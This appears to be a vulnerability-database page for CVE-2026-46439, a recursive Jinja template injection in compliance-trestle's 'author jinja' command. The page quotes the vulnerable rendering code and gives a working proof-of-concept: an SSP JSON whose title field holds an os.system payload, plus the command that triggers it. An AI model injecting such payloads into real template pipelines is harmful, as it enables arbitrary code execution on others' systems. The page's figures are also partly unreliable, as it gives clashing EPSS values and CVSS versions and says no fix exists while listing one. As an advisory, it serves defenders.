CVE-2026-46439

HIGHPre-NVD 7.87.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 93% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
7.8
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 7.8Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)

A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).

The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.

This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.

The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.

Details

In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:

@staticmethod
    def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
        new_output = template.render(**lut)
        output = ''
        error_countdown = JinjaCmd.max_recursion_depth
        while new_output != output and error_countdown > 0:
            error_countdown = error_countdown - 1
            output = new_output
            random_name = uuid.uuid4()
            dict_loader = DictLoader({str(random_name): new_output})
            # jinja_env does not use SandboxedEnvironment
            jinja_env = Environment(
                loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
                extensions=extensions(),
                autoescape=True,
                trim_blocks=True
            )
            template = jinja_env.get_template(str(random_name))
            new_output = template.render(**lut)
        return output

When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.

PoC (Proof of Concept)

The vulnerability survives even when the template itself is fully trusted and static. Tested on Jinja2 version 3.1.6.
  • Create a fully trusted template (template.j2) that simply renders a data variable from an external SSP model:
Title: {{ ssp.metadata.title }}
  • Generate a malicious OSCAL SSP document (system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:
{
  "system-security-plan": {
    "uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70",
    "metadata": {
      "title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
      "last-modified": "2024-01-01T00:00:00+00:00",
      "version": "1.0",
      "oscal-version": "1.0.4"
    },
    "import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
  }
}
  • Execute the trestle author jinja command against the malicious data:
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp
*(Note: A similar payload injected via the -lut yaml argument yields identical results.)*
  • Verify arbitrary command execution:
ls poc.txt

The file poc.txt is successfully created on the filesystem.

An attacker can also execute arbitrary shell commands directly, e.g.:

"title": "{{ namespace.__init__.__globals__.os.system('id') }}",

Impact

This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.

CVSS v3
7.8
EG Score
7.8(low)
EPSS
6.5%
KEV
Not listed

Published

May 28, 2026

Last Modified

May 28, 2026

Vendor Advisories for CVE-2026-46439(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
compliance-trestle4.0.0, 4.0.1, 4.0.24.0.3

Data Freshness Timeline

(refreshed 2× in last 7d / 20× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 02:43 UTCEG score recompute
  2. 2026-07-11 19:26 UTCEG score recompute
  3. 2026-07-08 17:50 UTCEG score recompute
  4. 2026-07-02 23:16 UTCEG score recompute
  5. 2026-07-02 10:23 UTCEG score recompute
  6. 2026-07-01 14:53 UTCEG score recompute
  7. 2026-07-01 02:39 UTCEG score recompute
  8. 2026-06-30 01:44 UTCEG score recompute
  9. 2026-06-29 13:37 UTCEG score recompute
  10. 2026-06-28 18:42 UTCEG score recompute
  11. 2026-06-28 06:37 UTCEG score recompute
  12. 2026-06-27 18:01 UTCEG score recompute
  13. 2026-06-27 05:25 UTCEG score recompute
  14. 2026-06-26 16:42 UTCEG score recompute
  15. 2026-06-25 20:07 UTCEG score recompute
  16. 2026-06-25 07:57 UTCEG score recompute
  17. 2026-06-24 16:22 UTCEG score recompute
  18. 2026-06-18 23:53 UTCEG score recompute
  19. 2026-06-17 17:49 UTCEG score recompute
  20. 2026-06-17 03:54 UTCEG score recompute
  21. 2026-06-16 15:48 UTCEG score recompute
  22. 2026-06-16 03:43 UTCEG score recompute
  23. 2026-06-15 15:38 UTCEG score recompute
  24. 2026-06-15 03:33 UTCEG score recompute
  25. 2026-06-14 23:18 UTCEPSS rescore
Show 31 more
  1. 2026-06-14 15:27 UTCEG score recompute
  2. 2026-06-14 03:21 UTCEG score recompute
  3. 2026-06-13 23:00 UTCEPSS rescore
  4. 2026-06-13 15:14 UTCEG score recompute
  5. 2026-06-13 03:07 UTCEG score recompute
  6. 2026-06-12 23:12 UTCEPSS rescore
  7. 2026-06-12 15:01 UTCEG score recompute
  8. 2026-06-12 02:56 UTCEG score recompute
  9. 2026-06-11 14:51 UTCEG score recompute
  10. 2026-06-11 02:46 UTCEG score recompute
  11. 2026-06-10 14:41 UTCEG score recompute
  12. 2026-06-10 02:35 UTCEG score recompute
  13. 2026-06-09 14:30 UTCEG score recompute
  14. 2026-06-09 02:25 UTCEG score recompute
  15. 2026-06-08 14:19 UTCEG score recompute
  16. 2026-06-08 02:14 UTCEG score recompute
  17. 2026-06-07 14:09 UTCEG score recompute
  18. 2026-06-07 02:04 UTCEG score recompute
  19. 2026-06-06 13:58 UTCEG score recompute
  20. 2026-06-06 01:53 UTCEG score recompute
  21. 2026-06-05 13:48 UTCEG score recompute
  22. 2026-06-05 01:43 UTCEG score recompute
  23. 2026-06-04 13:38 UTCEG score recompute
  24. 2026-06-04 01:33 UTCEG score recompute
  25. 2026-06-03 13:27 UTCEG score recompute
  26. 2026-06-03 01:22 UTCEG score recompute
  27. 2026-06-02 13:17 UTCEG score recompute
  28. 2026-06-02 01:12 UTCEG score recompute
  29. 2026-06-01 13:07 UTCEG score recompute
  30. 2026-06-01 01:02 UTCEG score recompute
  31. 2026-05-28 19:06 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-46439?
CVE-2026-46439 is a high vulnerability published on May 28, 2026. compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI) A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to…
When was CVE-2026-46439 disclosed?
CVE-2026-46439 was first published in the National Vulnerability Database on May 28, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-46439 actively exploited?
CVE-2026-46439 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 6.5% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-46439?
CVE-2026-46439 has a CVSS v4.0 base score of 7.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-46439?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-46439, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-46439

Explore →

Is Your Infrastructure Affected by CVE-2026-46439?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.